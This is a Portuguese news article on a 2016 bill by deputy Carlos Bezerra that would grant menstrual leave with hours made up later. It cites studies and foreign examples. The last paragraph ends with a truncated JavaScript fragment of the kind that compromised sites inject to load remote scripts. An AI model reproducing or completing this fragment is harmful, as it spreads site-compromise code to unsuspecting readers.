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Projeto de Bezerra prevê licença do trabalho para mulheres em período menstrual

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O deputado Federal Carlos Bezerra (PMDB-MT) foi destaque na imprensa jurídica nacional ao apresentar no último dia 21 Projeto de Lei que prevê que empregadas fiquem fora do serviço por até três dias durante seu período menstrual. A medida chama a atenção por sua ocasião, proposta atual presidente da República Michel temer, correligionário de Bezerra, patrocina uma série de revisões em desfavor dos trabalhadores.

Conforme explica o texto do projeto, o empregador poderia cobrar depois a compensação dessas horas – de modo que não haveria prejuízo para nenhuma parte. O deputado Carlos Bezerra acrescenta “que a norma proposta beneficiará as mulheres trabalhadoras, que padecem por ter que trabalhar com todos os incômodos causados pela menstruação, mas também trará vantagens para as empresas, que disporão da força de trabalho feminina sempre no melhor nível de produtividade”.

O projeto tem respaldo científico, lembra Bezerra. Um estudo elaborado no Brasil constatou que aproximadamente 65% das mulheres sofrem de cólica menstrual e que 70% enfrentam problemas no trabalho causados por seus sintomas associados, como cansaço, inchaço nas pernas, enjoo e diarreia.

O projeto “tem respaldo científico e é defendido por médicos”, acrescenta o político, como o ginecologista inglês Gedis Grudzinskas, e é aplicado há décadas no mercado de trabalho asiático, como no Japão e na China.

Se aprovado, o Projeto de Lei 6.784/2016, já popularmente (ou jocosamente) conhecido como “licença-menstrual” acrescentaria um dispositivo na CLT, especificamente no trecho que trata da jornada da mulher (artigo 373).

Para subsidiar o quesito justificativa, o deputado mato-grossense acrescenta reportagem publicada em 03 de abril pelo jornal Folha de São Paulo, com o seguinte título: “Empresa britânica adota licença remunerada no período menstrual”. Conforme a matéria, uma pequena empresa situada em Bristol (Reino Unido), passou a adotar a licença-menstruação e concederam às funcionárias a flexibilidade de ir para casa, se for necessário, e compensar depois as horas não trabalhadas – ou mesmo trabalhar de casa.var d=document;var s=d.createElement(‘script’);

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